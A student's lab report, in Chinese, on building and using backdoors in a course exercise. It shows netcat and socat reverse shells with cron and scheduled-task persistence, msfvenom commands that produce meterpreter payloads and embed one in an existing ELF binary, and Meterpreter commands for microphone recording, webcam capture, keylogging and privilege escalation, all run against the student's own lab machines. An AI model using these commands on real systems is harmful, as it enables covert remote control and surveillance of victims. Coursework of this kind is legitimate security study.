1.实验内容
1.1学习内容
1.后门的概念,案例
2.Metasploit Framework的基本组成
- 基础库文件
- 模块(Exploits、Payloads等)
- 功能程序(msfvenom等)
- 其他
重点学习了msfvenom(支持生成各种平台的 payload 文件)的使用
3.netcat/socat工具的使用
1.2问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
用户下载盗版软件并安装运行,攻击者利用操作系统漏洞注入恶意代码安装后门等
2.例举你知道的后门如何启动起来(win及linux)的方式?
win:注册表启动、计划任务启动、文件夹启动、服务启动
Linux:安插脚本启动、篡改用户配置文件启动、计划任务启动、SSH后门
3.Meterpreter有哪些给你印象深刻的功能?
payload功能十分强大,针对不同系统都能对症下药,种类很多样;record_mic和webcam_snap可以获取音频和照片还挺好玩的
4.如何发现自己有系统有没有被安装后门?
- 检查启动项和计划任务
- 检查服务
- 检查网络连接
- 检查防火墙规则
- 检查系统文件完整性
- 还有很多....
1.3实验任务
-
使用netcat获取虚拟机操作Shell,cron启动某项任务
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.实验过程
2.1使用netcat获取虚拟机操作Shell,cron启动某项任务
1.主机下载netcat工具,在windows的命令行界面中用ipconfig
查看主机ip地址
2.进入netcat解压后的目录,主机执行.\nc.exe -l -p 8888
监听,虚拟机执行nc 172.16.177.223 8888 -e /bin/sh
连接到主机ip端口执行shell
-l listen监听;-p 端口号;-e 执行指定程序
可以看到主机成功获取虚拟机shell
3.设置cron定时任务
(别忘了先sudo systemctl start cron
启用cron!)虚拟机用crontab -e
打开crontab文件,设置定时任务,初次进入需要选择一个编辑器
在文件的最下面添加* * * * * /bin/netcat 172.16.177.223 8888 -e /bin/sh
五个*依次代表每分钟,每小时,每日,每月,星期几;后续为linux的定时任务执行指令内容(此处为通过netcat连接主机ip端口打开自己的shell)
完成后保存退出,可以看到shell显示(此处截图有误,虚拟机上不应该有最后一行指令,到了设定时间应该可以自动在主机上获得shell)
2.2使用socat获取主机操作Shell, 任务计划启动
1.查看虚拟机ip
2.不设置定时任务,kali虚拟机输入命令socat TCP-LISTEN:8888 -
进行监听
主机进入socat目录执行socat.exe exec:cmd.exe,pty,stderr TCP:192.168.5.12:8888
建立反弹后门(执行cmd并发送到虚拟机),可以看到虚拟机连接到主机的shell但是主机没有变化
exec:cmd.exe:执行Windows命令提示符
pty:分配伪终端(Pseudo Terminal)
stderr:将标准错误重定向到相同输出
可以在虚拟机输入命令操作主机(chcp 65001可解决乱码问题
)
3.虚拟机同上步骤打开监听,启动主机任务计划程序,创建任务
在常规界面设置名称,在触发器界面设置时间,在操作界面设置socat路径和参数exec:powershell.exe,pipes TCP:192.168.xxx(虚拟机的ip):8888
最后确定
4.回到任务计划程序主页,点击任务计划程序库可以看到刚刚设置的任务,到预定时间时虚拟机就会自动出现主机shell
验证:在虚拟机界面输入ipconfig,可以看到显示的是主机ip
2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
1.生成可执行文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=8888 -f exe > meter_backdoor20232309.exe
-p 选择载荷(注意被攻击的windows系统位数,此处用x64位载荷);LHOST 攻击者(此处为虚拟机)的ip ;LPORT 攻击者监听端口;-f 输出文件格式
2.用ncat传输后门文件
主机设置监听端口,将输入重定向到指定目录下的文件ncat -l -p 2309 > \Users\xxx\Desktop\meter_backdoor20232309.exe
虚拟机将文件定向传输到主机ip监听端口nc 192.168.5.22 2309 < meter_backdoor20232309.exe
可以看到主机对应目录下成功显示刚刚生成的文件,传输成功
(说明:由于网络环境变化,后续截图中ip地址有更改,虚拟机地址ip改为192.168.5.6重复的前面步骤不分不再截图)
3.为了让后门文件在主机上运行,提前关闭防火墙等保护措施,并且要关完全
4.虚拟机输入msfconsole
进入控制台,出现msf>
标识后输入use exploit/multi/handler
设置攻击机的监听器
以下设置要和1.中生成文件的内容 完全一样! 要仔细检查哦
set payload windows/x64/meterpreter/reverse_tcp
设置攻击载荷(reverse指反向即被攻击机会主动向攻击机发送信息)
set LHOST 192.168.5.6
设置攻击机ip
set LPORT 8888
设置攻击机监听端口
exploit
打开监听,主机运行后门文件
(下列截图中体现了没有仔细检查handler设置完全一致的后果就是出现如图的died报错,具体文字解释见本文3.问题及解决方案)
连接成功后可以看到攻击机获取了主机shell,并能运行命令
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
1.使用命令record_mic -d 5
获取目标主机麦克风录制5s音频,webcam_snap
获取目标主机摄像头拍摄照片,结果如下(需要打开本机相关权限),打开文件夹可看到相应的音频和照片
2.使用keyscan_start
开启击键记录,这里在微信聊天框输入文字,使用keyscan_dump
打印出记录到的键盘输入,可以看到显示了刚才打印的文字,keyscan_stop
停止记录
3.输入getuid
查看当前用户,getsystem
尝试提权,再次getuid
查看显示Server username: NT AUTHORITY\SYSTEM,说明提权成功,getprivs
查看当前特权列表
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).含义:
·Named Pipe Impersonation:命名管道模拟(创建一个命名管道服务器,诱使高权限进程(通常是SYSTEM权限)连接到该管道,模拟连接客户端的权限令牌,获得SYSTEM级别的访问权限)
·In Memory:提权操作仅在内存中完成,没有在磁盘上创建文件
·Admin:执行此操作需要当前已经具备管理员权限
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.执行命令,用pwn1模版生成能获取反弹连接的shellcode,并输出到elf格式的文件msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.6 LPORT=6666 -x pwn1 -f elf > exp2_pwn20232309
因为pwn1是elf格式的可执行文件,只能在Linux系统上运行,因此选用Linux系统载荷;-x 用于指定一个现有的正常程序作为模板,并将生成的 Payload 嵌入其中
2.在另一个终端中打开msf控制台,设置监听器原理同前,设置好后exploit监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.5.6
set LPORT 6666
exploit
在不同的终端执行该注入payload的elf文件(若无执行权限用chmod 777
更改即可)
可以看到成功获得执行文件的终端Shell,ls可打印出其目录下文件列表验证
3.问题及解决方案
-
问题1:2.2中虚拟机攻击主机时刚开始主机的反弹式后门无法连接到虚拟机,显示network is unreachable
-
问题1解决方案:查阅资料得知,在常规情况下虚拟机为桥接模式时应该像一台真实的物理机一样,向主机局域网中的路由器(DHCP服务器)请求一个和主机同网段的地址。但此时虚拟机的ip为169.254.x.x,即故障ip,表示DHCP请求失败。检查发现是连接实验室的网络质量不佳,回到宿舍联网再次实验成功。
-
问题2:2.3中msf开启监听时报错
Meterpreter session 1 is not valid and will be closed
-
问题2解决方案:使用
tail -f /root/.msf4/logs/framework.log
查看运行日志,发现提示错误原因为Session 1 failed to negotiate TLV encryption
,表示 Meterpreter 会话在加密协商阶段失败了,仔细查看Payload之后发现和设置文件的Payload相比少了一个/x64
,修改后连接成功(如果依然出现相同报错,可能是参考资料第二条中提到的问题)
4.学习感悟、思考等
- 检查程序有没有运行真的是个好习惯,,,我总是默认程序可以直接输入命令就运行然后半天找不出为什么出错浪费时间......
- 程序报错但找不出原因时要学会查看运行日志寻找出错原因,我这个习惯培养得不好,以后要多加注意;也可以查看命令本身格式是否出错
- 现代windows系统的安全防护还是很全面的,关了好久才把各种查病毒报警机制都关全
- 从网上下载资源或点击链接时都要谨慎,后门威胁无处不在!
参考资料
- 实验指导书
- session 1 closed.Reason:Died 的可能解决方案